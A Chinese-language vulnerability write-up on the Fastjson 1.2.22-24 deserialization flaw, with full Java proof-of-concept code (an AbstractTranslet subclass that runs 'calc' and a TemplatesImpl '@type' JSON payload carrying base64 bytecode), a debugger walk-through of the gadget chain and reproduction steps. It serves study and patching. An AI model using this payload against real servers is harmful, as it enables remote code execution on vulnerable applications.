1. 程式人生 > >Fastjson 1.2.22-24 反序列化漏洞分析

Fastjson 1.2.22-24 反序列化漏洞分析

dcl trac xslt dom 反序 ast 其中 axis remote

0x00 簡單介紹

介紹:FastJson是一款由阿裏開發的JSON庫
影響版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
補丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

FastJson的簡單使用

先通過一個簡單的demo來熟悉一下FastJson的基本操作。首先創建一個Student類,Student.java:

package ka1n4t.test;

public class Student {
    public String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Students有一個公有屬性name和一個私有屬性age。下面使用一個測試類,將json字符串反序列化成Student對象,learnFJ.java:

package ka1n4t.test;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.JSONObject;

public class learnFJ {
    public static void main(String args[]) {
        String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}";
        Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj1.getName());
    }
}

結果:
技術分享圖片

0x01 原理分析

分析POC

先看一下用於反序列化的惡意類evilClass1.java:

package ka1n4t.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public evilClass1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public static void main(String[] args) throws IOException {
        evilClass1 helloworld = new evilClass1();
    }
}

其中的構造方法是用exec彈個計算器。看下poc,vulApp1.java:

package ka1n4t.poc;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class vulApp1 {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
        String evil_code = readClass(evil_path);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

核心部分:

String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evil_code+"\"]," +
                "‘_name‘:‘a.b‘," +
                "‘_tfactory‘:{ }," +
                "\"_outputProperties\":{ }}\n";

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

_bytecodes是經過base64編碼的evilClass1的字節碼文件,NASTY_CLASS是TemplatesImpl類。總結一下這個payload,利用JSON.parseObject反序列化TemplatesImpl類,其中_bytecodes屬性是經過base64編碼的惡意類字節碼文件。

調試分析

下面來分析一下反序列化TemplatesImpl的調用鏈,首先調用其getOutputProperties()方法:

技術分享圖片

然後下面經過java的反射機制,然後到達TemplatesImpl類:

技術分享圖片

跟進newTransformer()方法,這個方法是用於創建一個Transformer實例。然後到達getTransletInstance()方法:

技術分享圖片

getTransletInstance()方法用於創建一個translet實例,返回這個translet給newTransformer(),然後被包裹成Transformer對象。跟進一下這個方法,發現其調用了defineTransletClasses()用來加載_bytecodes中的類,接著又調用了_class[_transletIndex].newInstance()將defineTransletClasses()返回的類進行實例化:

技術分享圖片

先跟進一下defineTransletClasses方法:

技術分享圖片

可以看到,使用了loader.defineClass()方法用於加載_bytecodes的內容,並將返回的類賦值給_class[i](這裏的i是0)。loader是TemplatesImpl自定義的類,跟進一下:

技術分享圖片

可以看到TransletClassLoader繼承了Java類加載器—ClassLoader類,跟進其defineClass方法,發現直接調用了父類ClassLoader中的方法,所以就不再跟進了。

回到defineTransletClasses方法,其間接調用ClassLoader加載_bytecodes中的內容之後,將加載出來的類賦值給_class[0],然後結束,回到getTransletInstance方法,再看一下圖:

技術分享圖片

可以看到,455行直接使用了_class[0].newInstance()創建實例,創建的過程中調用了evilClass1構造方法,然後觸發了payload:

技術分享圖片

0x02 復現過程

從github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea打開工程,編譯test.java:

技術分享圖片

然後會在target/classes/person下生成test.class文件。用同樣的方法編譯Poc.java。

技術分享圖片

配置運行方式

技術分享圖片

技術分享圖片

運行Poc:

技術分享圖片

技術分享圖片

0x03 參考文章

1.廖新喜 fastjson 遠程反序列化poc的構造和分析
2.Freebuf Fastjson 1.2.24反序列化漏洞分析

Fastjson 1.2.22-24 反序列化漏洞分析